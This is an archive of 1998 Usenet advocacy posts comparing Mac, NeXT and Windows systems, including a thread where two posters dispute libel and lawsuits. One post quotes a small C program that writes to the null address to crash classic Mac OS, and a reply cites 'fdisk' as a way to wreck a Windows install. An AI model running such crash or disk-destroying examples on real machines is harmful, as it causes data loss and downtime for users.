Message-ID: <joe.ragosta-2807980900460001@wil43.dol.net>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net> <35BBF9FA.5869D6D3@bellsouth.net> <Macghod-2607981933110001@sdn-ar-001casbarp068.dialsprint.net> <stone-2707981147570001@rc-pm3-1-26.enetis.net>
In article <stone-2707981147570001@rc-pm3-1-26.enetis.net>,
stone@stoneentertainment.com (Kevin Stone) wrote:
> In article <Macghod-2607981933110001@sdn-ar-001casbarp068.dialsprint.net>,
> Macghod@concentric.net (Steve Sullivan) wrote:
>
> > In article <35BBF9FA.5869D6D3@bellsouth.net>, murchy@bellsouth.net wrote:
> >
> > > It's Ironic that some of you smirk at a "30%" advantage. Keep this in
> > mind, with a
> > > 30% advantage a 3D rendering job that takes 3 hours on a PC would take 2
> > hours on a
> > > G3 mac. Isn't that worth a little more money?
> (snip)
> > Then, you can satisfy your rabid pro apple ways by bragging about how a g3
> > powerbook smokes a p2 notebook in speed AS WELL as price/performance. At
> > least it will be the truth, and you can continue your rabid pro apple ways
>
> Getting a little hot under the collar there Steve? But you definitely
> have a point with this guy. Price/Performance wise PC's have always been
> ahead of Macs.
Not much any more. Macs match name brand PCs pretty well.
And since the discussion above considered notebooks, the Mac does very
well in price/performance at the high end. Compare a G3 to a ThinkPad, for
example.
It's unfortunate that Apple doesn't yet have a cheap notebook, but in the
areas where they compete, they do well.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 08:48:25 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-2807980848260001@wil43.dol.net>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <joe.ragosta-2707981614150001@wil75.dol.net> <Pine.SOL.3.96.980727170056.19424B-100000@ux7.cso.uiuc.edu>
In article <Pine.SOL.3.96.980727170056.19424B-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Mon, 27 Jul 1998, Joe Ragosta wrote:
>
> > In article <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > Yes. This is one of my complaints about the Mac menubar. On larger
> > > screens, it's quite a trip up to the menu bar and back.
> >
> > Absolutely. And that explains why so many third party utilities have been
> > developed to help out.
>
> Ummm... like what?
The one I'm most familiar with is the Kensington TurboMouse's control
panel. I have 4 buttons, 3 of which have different popup menus.
Program Switcher has a popup menu for changing apps.
Then, there's Apple's contextual menu items, which are configurable with
third party plug ins.
>
> > And why Mac OS 8 includes contextual menus to help
> > save trips to the menu bar.
>
> Context sensitive menus do tend to help out, but do not solve the problem
> entirely.
True. But that's the price of having a large screen. If you want to solve
problems entirely, you'll want to look for one of the utilities which
allows you to assign a key stroke to every item on the menu. I'm not
familiar with them, but I've heard that they exist.
>
> > Notice that Mac OS 8 came out about the time that 17" monitors started
> > replacing 15" monitors in large numbers.
>
> Oh pfft. The Macintosh has been used by graphics professionals for years.
> These people have had 19 and 21" monitors. For many years Apple didn't
> address this problem for a group that Apple has always been proud to have
> as an asset.
True. But I doubt if Apple is going to change the UI for users who make up
such a tiny fraction of the installed base. As 17" monitors (and larger)
become more common, they've started to address the issue with contextual
menu items.
>
> > My favorite solution is still my trusty Kensington Turbo Mouse which
> > offers 3 customizable popup menus and a regular mouse button.
>
> Ryan Tokarek
> <tokarek@uiuc.edu>
> <http://www.ews.uiuc.edu/~tokarek>
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 09:07:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2807980907490001@wil43.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net> <6pk34k$9gu$1@nntp2.ba.best.com>
In article <6pk34k$9gu$1@nntp2.ba.best.com>, M_PRODUCER@nospamYahoo.com
(M_PRODUCER) wrote:
> In article <joe.ragosta-2707981311490001@wil76.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> >In article <35BCA708.7440433@intel.com>, Vareck Bostrom
> ><vareck.bostrom@intel.com> wrote:
> >
> >> Can you continue to use TCP/IP on your LAN after you're connected via SLIP?
> >
> >I'm not sure--I've never used SLIP. But I'll assume that it's similar to PPP.
> >
> >If that's a fair analogy, the answer for Mac OS 8.1 is yes. (I can't
> >remember when this functionality was introduced).
> >
> >As evidence, I can connect to the Internet either via PPP or Ethernet
> >(TCP/IP on our network). Our e-mail is also on the TCP/IP network.
> >
> >I can be downloading files via PPP while checking e-mail on TCP/IP. So
> >they work together.
> >
>
> Care to cite how I can do this on my mac?
> I've been waiting for this feature for over 5 years.
>
> -
Gee--I didn't know it was hard. It just works.
I have TCP/IP set for PPP and the appropriate PPP settings.
I have MS Outlook set up as the e-mail package (but it also worked when we
were using cc:Mail).
I can use PPP while checking my mail.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 09:11:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2807980911080001@wil43.dol.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com>
In article <6pisq8$jtg$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <6pim7q$6sg$1@supernews.com>,
> "Nevin \":-]\" Liber" <nevin@CS.Arizona.EDU> wrote:
>
> > Vs. under Win95, where even though you might swich apps while one is
> > loading, the app that is being launched, and not the user, can decide to
> > take the focus back.
>
> Very true. The feature that Windows 95 has and the Mac OS lacks completely is
> poorly implemented.
>
> > Under just about every OS out there, writing to the null address causes a
> > crash *of the application*. The MacOS is no different in this respect.
>
> Try this code:
>
> #include "string.h"
>
> void main( void )
> {
> strcpy( (char *) 0, "Today is a good day to die!" );
> }
>
> This crashes my Mac but only causes the program to fail in Windows 95.
Big deal. Try my example:
"fdisk"
This destroys my Windows setup but my Mac just laughs at it.
You can find a way to crash virtually any OS. Your point is irrelevant.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: istephen@bournemouth.ac.uk (Dr I Stephenson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches: Multi-users
Date: 28 Jul 1998 13:49:12 GMT
Organization: National Centre for Computer Animation
Message-ID: <6pkkso$c2q$1@supernews.com>
References: <6or4sj$83a$1@supernews.com> <6p9acg$o8n$1@nnrp1.dejanews.com>
<joe.ragosta-2507981 <6phbrl$ibc$1@nnrp1.dejanews.com> <6pi5lq$5ue@newsb.netnews.att.com>
<6pikb9$9al$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
In article <6pg7pl$rbn$2@supernews.com>, a l t en ber@nashville.com
(delete spaces, spam trick) wrote:
> The simple reason is that the system is multiple-user from the ground up,
and
> the system files are protected by being owned by root.
>
> So, I haven't seen any mention in these newsgroups about the advantages of
> multi-user systems.
Apple should be screaming MULTI-USER from every possible rooftop. It's
currently seen as a high end nicety, when in fact it's the key to cracking
the home market wide open! If you have Windows (or MacOS) installed, then
there's NO WAY you risk letting your kids use your machine. They can trash
the OS, mess with your data, and look at those files you downloaded late
last night, that you'd rather they wern't looking at! I'm happy for anyone
to use my NeXT's, and I know they're safe. It's like everyone gets their
own machine (not to mention the networking, which makes all the machines
look the same). A lot of the scares about kids finding stuff they
shouldn't could be made to go away with a little smarts and a multiuser
system.
>But viruses, at least, will be a thing of the past
> (though there are other security issues of course).
Not 100% but things get better.
>Now, NT must offer the
> same multi-user capabilities right?
Not really...
files can be owned by users (assuming you're using NTFS, and not FAT), but
you can't have two users logged in at the same time.
The reall benefits come just making it difficult for users to have
accidents. 9 months ago I lent someone a ColourStation, and didn't tell
them the root password! They're still using it, and as far as I know it
hasn't crashed. They can't mess with it, and they can't break it.
$an
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 08:47:44 -0500
Organization: Prairie Group
Message-ID: <MPG.1027927fcc9f1d52989a2f@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org>
In article <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org says...
> >Oh really? It looked to me like he called him a "lame oop programmer",
> >meaning he WASNT slandering Donald, but slandering oop instead. And I
> >dont think oop has standing in court to sue people, but Jason s can
> >correct me if I am wrong :P
>
> Well, I'll apply my English degree, instead of my law degree, to this
> one. It looks like "oop" modifies "programmer," just as "lame" modifies
> "programmer." So he's a "lame programmer, who uses oop programming,"
> as I read it.
>
> Oops (pun intended)! Donald should be pissed (but lawsuits are for
> wussies).
>
Actually, I read it as "You must do your OOP programming in a lame
fashion." Which was insulting, but I've been called too much worse to
get pissed. Besides, I know my talents, so it was more amusing than
insulting.
But you are right in one thing. Lawsuits are for wussies.
Donald
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 19:10:02 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2707981910020001@sdn-ar-002casbarp026.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org>
In article <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
>
> >> I guess you really _are_ threatened by people pointing out the facts in
> >> this group.
>
> >Oh really? It looked to me like he called him a "lame oop programmer",
> >meaning he WASNT slandering Donald, but slandering oop instead. And I
> >dont think oop has standing in court to sue people, but Jason s can
> >correct me if I am wrong :P
>
> Well, I'll apply my English degree, instead of my law degree, to this
> one. It looks like "oop" modifies "programmer," just as "lame" modifies
> "programmer." So he's a "lame programmer, who uses oop programming,"
> as I read it.
>
> Oops (pun intended)! Donald should be pissed (but lawsuits are for
> wussies).
Well I will take that to prove that I was wrong :P
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Date: 28 Jul 1998 03:05:04 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pjf50$94v@newsb.netnews.att.com>
References: <6pior2$7s4@newsb.netnews.att.com> <B1E274EF-1342E@206.165.43.181>
Originator: gupta@tlctest
Lawson English <english@primenet.com> wrote:
>gupta@kcopsrm.tm.tta.moc-mirror said:
>
>>Motorola claims SPECint95 of 16.1, SPECfp95 of 9.9 @ 366 MHz
>>with a 244 MHz, 1 MB L2. (The 300 MHz part gets 14.0 SPECint95
>>with a 150 MHz, 1 MB L2.)
>>
>>Not a tremendous speed-bump, but the power consumption reduction
>>should be very nice for laptops.
>
>AND it gives the iMac some room for growth.
AND it gives Motorola the ability to say that this is yet
another candidate embedded processor (e.g., see the CNET
article), thereby justifying its statements that its focus
is on embedded processors and not on the desktop.
(I had meant to mention the above earlier.)
-arun gupta
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 14:17:17 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pkmhd$9re$2@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <joe.ragosta-2807980811130001@wil43.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> You may recall an incident where someone wrote to someone's employer about
> what was written in csma. IMO, that was way over the line. Posting in csma
> is a recreation. If you try to drag someone's work into it, you could ruin
> their life.
>
> The same is true of threats to sue. If he sued me, I'd have legal expenses
> to defend myself, not to mention sleeping on the couch for the next few
> years. I'm especially sensitive because people _have_ made an issue of my
> private life at times.
>
> Your life outside if Usenet should be private.
I don't see why usenet should offer anyone any greater free speech protection
than a soapbox in the city park. If you slander someone on the soapbox, or
slander/libel them in usenet, it seems much the same. Now I agree that the
forum should affect what is deemed slander/libel. So as always, people
should be prepared to deal with the consequences of their free speech rights.
The only exception to this, as far as I know, is inside congress.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 14:25:28 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pkn0o$9re$3@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <MPG.1026c4389a7ccdea989a2b@news.supernews.com> <6pjh0n$m6i$4@lwnws01.ne.highway1.com> <joe.ragosta-2807980633150001@elk42.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> It's interesting how you speak out of both sides of your mouth.
It's interesting how often you speak out of complete ignorance.
> In another post, you used an example of a knight who said to
> someone, "if it were the hour of something, I'd kill you". Since
> it was not the stated hour, you said it was not a threat. In
> other words, "if it were the hour...." was a conditional which
> was false, so the threat didn't exist.
>
> In this particular case, my statement was, "if I remember correctly,
> John Kheit said...". The conditional (if I remember correctly)
> was apparently false, so the rest of the statement is not real
> and can not be considered.
>
> By your own statements, I'm completely absolved by the conditional
> "IIRC".
The tort law of assault and that of defamation are different. The reason
being there is a decided distinction as to harm. Does the reasonable person
have an expectation of harm when he's told "if you were 10 years older I'd
kill, but you're not." The law holds no. Does the reasonable person
experience harm as soon as you utter a factual assertion, yes. So if the 10
oclock news goes on tonight and reports "IIRC John Doe is a child molester
and says he likes it" and John Doe isn't any such thing, a great harm will be
done to his reputation. (You might recall the harm done to the poor security
guard that found the bomb at the olympics, and the media trashed him on him
being 'suspected'--the harm is done at that point). The point being, the
very nature is different between a threat/assault and that of a
mischaracterized factual assertion, and thus, the law is appropriately
different in dealing with the different situations.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 14:28:28 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pkn6c$9re$4@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org> <MPG.1027927fcc9f1d52989a2f@news.supernews.com>
don.brown@cesoft.com (Donald Brown) wrote:
> But you are right in one thing. Lawsuits are for wussies.
Actually, they are for people wronged. I'm sure calling the Browns wussies
when they sued OJ probably clashes with most peoples sense of morality.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 1998 03:19:35 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pjg07$m6i$2@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net> <6pi3dq$32n$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2707981732090001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> You admit that you can run 1024x768 on an 11.3" display, but you don't
> believe that you can run 640x480 on a 9" display? The Mac OS runs quite
> well in 640x480, so a 9" screen should be no problem.
What's wrong with you? Perhaps I'm being woefully unclear, and if so I
appologize; otherwise you have a serious reading comprehension problem. I
have no doubt that the macUI will run just fine on a small 640X480 display,
or on even a 512X342 display. 9" or any size. I agree that the macUI is
well suited to small resolution, and physically small displays in any various
combinations.
However, I believe that the macUI is not as well suited to larger
resolution/displays as other UI offerings.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Date: Tue, 28 Jul 1998 10:50:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2807981050230001@wil32.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <MPG.1026c4389a7ccdea989a2b@news.supernews.com> <6pjh0n$m6i$4@lwnws01.ne.highway1.com> <joe.ragosta-2807980633150001@elk42.dol.net> <6pkn0o$9re$3@lwnws01.ne.highway1.com>
In article <6pkn0o$9re$3@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In another post, you used an example of a knight who said to
> > someone, "if it were the hour of something, I'd kill you". Since
> > it was not the stated hour, you said it was not a threat. In
> > other words, "if it were the hour...." was a conditional which
> > was false, so the threat didn't exist.
> >
> > In this particular case, my statement was, "if I remember correctly,
> > John Kheit said...". The conditional (if I remember correctly)
> > was apparently false, so the rest of the statement is not real
> > and can not be considered.
> >
> > By your own statements, I'm completely absolved by the conditional
> > "IIRC".
>
> The tort law of assault and that of defamation are different. The reason
> being there is a decided distinction as to harm. Does the reasonable person
> have an expectation of harm when he's told "if you were 10 years older I'd
> kill, but you're not." The law holds no. Does the reasonable person
> experience harm as soon as you utter a factual assertion, yes.
Does the reasonable person experience harm when I state "IIRC, John Kheit
said that it was Apple's fault that Novell dropped Netware"?
Of course not. You've experience no harm-especially since I corrected
myself the next day.
If you really think you've got legal standing to sue, please feel free.
I'd love to win a malicious prosecution countersuit.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 10:48:10 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2807981048110001@wil32.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <joe.ragosta-2807980819240001@wil43.dol.net> <6pkm36$9re$1@lwnws01.ne.highway1.com>
In article <6pkm36$9re$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <6pie2b$9kh$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > wrote:
> > > It's similar to an old tort law self defense case. This knight
> > > in england was walking down the street and someone told him
> > > "your mother sucks beans" or somesuch other nonsense. The
> > > knight responded "if it were the hour of something or other,
> > > I would kill you." It wasn't that hour, so it was not a threat.
> >
> > Thanks for proving my point.
> >
> > My statement was "if I remember correctly, John Kheit said...."
> >
> > I apparently remembered incorrectly, so what follows the conditional
> > doesn't apply.
>
> You're getting the law wrong here is rather commical. The "IIRC" does little
> to nothing to ameliorate the libel.
So in other words, the conditional only applies when you want it to apply.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 03:16:21 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pjfq5$m6i$1@lwnws01.ne.highway1.com>
